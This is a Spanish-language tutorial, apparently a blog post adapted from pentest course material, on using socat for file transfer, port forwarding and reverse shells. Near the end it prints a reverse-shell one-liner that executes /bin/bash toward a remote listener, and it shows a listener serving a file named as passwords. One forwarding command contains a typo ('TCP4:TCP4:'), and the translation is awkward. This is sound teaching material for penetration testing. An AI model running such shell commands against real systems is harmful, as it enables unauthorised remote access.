Socat es una utilidad de línea de comandos que establece dos flujos de bytes bidireccionales y transfiere datos entre ellos. Para las pruebas de penetración, es similar a Netcat pero tiene características útiles adicionales.
La utilidad socat es un relé para transferencias de datos bidireccionales entre dos canales de datos independientes.
Hay muchos tipos diferentes de canales que socat puede conectar, incluidos:
archivos Tubería Dispositivos (línea serie, pseudo-terminal, etc.) Zócalos (UNIX, IP4, IP6 - crudo, UDP, TCP) Zócalos SSL Conexiones de conexión de proxy Descriptores de archivos (stdin, etc.).
La sintaxis de socat es bastante simple.
# sudo socat [options] <address> <address>
# sudo socat TCP4-LISTEN:443 STDOUT
Ejemplos de uso de socat.
Conéctese al puerto TCP 80 en el sistema local o remoto.
# socat - TCP4:www.example.com:80
En este caso, socat transfiere datos entre STDIO (-) y una conexión TCP4 al puerto 80 en un host llamado www.example.com.
Transferencias de archivos impactados
A continuación, probaremos las transferencias de archivos. Continuando con los personajes ficticios anteriores de Alice y Bob, suponga que Alice necesita enviar a Bob un archivo llamado secret_passwords.txt. Como recordatorio, la máquina host de Alice se ejecuta en Linux y la de Bob se ejecuta en Windows. Veamos esto en acción.
kali@kali:~$ sudo socat TCP4-LISTEN:443,fork file:secret_passwords.txt
Por parte de Bob, nos conectaremos a la computadora de Alice y recuperaremos el archivo.
Use socat como un reenviador de puertos TCP.
# socat TCP4-LISTEN:81 TCP4:192.168.1.10:80
Para conexiones múltiples, use la opción de bifurcación como se usa en los ejemplos a continuación.
# socat TCP4-LISTEN:81,fork,reuseaddr TCP4:TCP4:192.168.1.10:80
Este ejemplo escucha en el puerto 81, acepta conexiones y reenvía las conexiones al puerto 80 en el host remoto.
# socat TCP-LISTEN:3307,reuseaddr,fork UNIX-CONNECT:/var/lib/mysql/mysql.sock
Socat Reverse Shells
Echemos un vistazo a un shell inverso usando socat. Primero, Bob iniciará un oyente en el puerto 443. Para hacer esto, proporcionará la -d -dopción para aumentar la verbosidad.
C:\Users\offsec> socat -d -d TCP4-LISTEN:443 STDOUT
... socat[4388] N listening on AF=2 0.0.0.0:443
Luego, Alice usará la opción EXEC de socat (similar a la opción Netcat -e), que ejecutará el programa dado una vez que se establezca una conexión remota.
kali@kali:~$ socat TCP4:10.11.0.22:443 EXEC:/bin/bash

Comentarios
Publicar un comentario